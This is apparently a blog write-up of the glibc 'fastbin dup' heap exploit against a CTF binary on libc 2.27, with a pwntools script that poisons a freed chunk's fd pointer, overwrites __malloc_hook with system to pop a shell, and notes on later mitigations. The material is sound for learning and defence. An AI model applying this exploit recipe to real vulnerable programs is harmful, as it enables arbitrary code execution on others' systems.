algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

fastbin dup

2026-06-114 min readheap pwn glibc

Fastbins keep freed chunks on a singly-linked LIFO list and don't consolidate them — built for speed, so the checks are thin. The only thing standing between you and freeing a chunk twice is a single comparison. Beat it and you get the same chunk back from two different mallocs, which is an overlap, which is everything.

target./fast
arch
amd64-64-little
libc
2.27
technique
fastbin double-free -> overlapping alloc -> __malloc_hook
tcache
full (7 chunks parked first, so frees fall through to the fastbin)

the one check, and how it folds#

When you free a fastchunk, glibc guards against the laziest double-free:

glibc malloc.c — _int_free (fastbin path)c
if (__builtin_expect (old == p, 0))
    malloc_printerr ("double free or corruption (fasttop)");

It only checks whether the chunk you're freeing is already the head of the fastbin. So freeing a twice in a row trips it — but slipping another free between them does not:

the dupc
1
2
3
free(a);     // fastbin head -> a
free(b);     // fastbin head -> b -> a   (now b is the head, not a)
free(a);     // head != a, so the check passes. head -> a -> b -> a

The fastbin is now a cycle: a appears twice. pwndbg's fastbins shows it plainly — the list eats its own tail:

pwndbg: fastbinstxt
fastbins
0x70: 0x5555...2a0 (a) —▸ 0x5555...310 (b) —▸ 0x5555...2a0 (a) —▸ ◂— (cycle)

you have to fill the tcache first

On glibc ≥ 2.26 free files chunks into the tcache before the fastbin, and the tcache has its own (different) double-free defence. So a modern fastbin dup starts by freeing 7 chunks of the same size to fill the tcachebin — only then do further frees fall through to the fastbin where this trick lives.

hand out the duplicate, then lie about fd#

Now allocate the cycle back out. The third allocation returns a again, while your first a pointer is still live — two handles to one chunk. Use one to overwrite the chunk's fd (its forward pointer) and you redirect where the fastbin's tail points:

fastdup.pypython
from pwn import *
io = process("./fast"); libc = ELF("./libc.so.6", checksec=False)

# ... a, b allocated (0x60 each -> 0x70 chunks); tcache filled; free(a),free(b),free(a) ...

fake = libc.sym["__malloc_hook"] - 0x23     # see "the size trick" below
x = alloc(0x60)                              # == a
edit(x, p64(fake))                           # poison a's fd -> fake chunk

alloc(0x60)                                  # == b
alloc(0x60)                                  # == a (the dup)
hook = alloc(0x60)                           # == fake chunk, straddling __malloc_hook
edit(hook, b"A"*0x13 + p64(libc.sym["system"]))   # overwrite the hook

the size trick#

A fastbin won't hand out a chunk whose size field doesn't match the bin — the 0x70 fastbin demands a size of 0x71 (or 0x70 with PREV_INUSE). Your fake chunk needs that. The famous move on libc 2.23–2.26: aim __malloc_hook - 0x23, because the misaligned bytes just above the hook happen to read as 0x7f, and 0x7f is a valid 0x70-fastbin size (the alignment isn't checked there yet):

bytes around __malloc_hook — a free 0x7f size, gratishex
00000000  00 00 00 00 00 00 00 00  00 00 00 7f 00 00 00 00  |................|
00000010  ac ee ee ad ae 07 10 7f                           |........        |

That 0x23 offset lands the fake chunk's size on that 0x7f and its data on __malloc_hook. Overwrite the hook with a one_gadget (or system) and the next malloc pops a shell.

the shell
txt
1
2
3
4
5
6
$ one_gadget ./libc.so.6      # pick a gadget whose constraints you can meet
$ python3 fastdup.py
[+] overwrote __malloc_hook
$ id
uid=1000(ctf)
segfault{d0ubl3_fr33_d0ubl3_tr0ubl3}

what changed#

This recipe is a 2.23–2.27 staple. Two mitigations bent it out of shape:

  • alignment check (2.32) — chunks pulled from tcache/fastbins must be 0x10-aligned, so the - 0x23 misaligned-size trick is dead. You now need a genuinely aligned fake chunk with a real 0x7f-class size nearby.
  • safe-linking (2.32) — fd is stored as (&fd >> 12) ^ ptr, so poisoning it to fake requires a heap leak to compute the mask first: mangled = (pos >> 12) ^ fake.

And __malloc_hook/__free_hook themselves were removed in glibc 2.34 — so post-2.34 the same overlap primitive aims at a FILE struct or __exit_funcs instead. The double-free is eternal; only the target keeps moving. Next: unsafe unlink, where the doubly-linked lists give a write without needing a hook at all.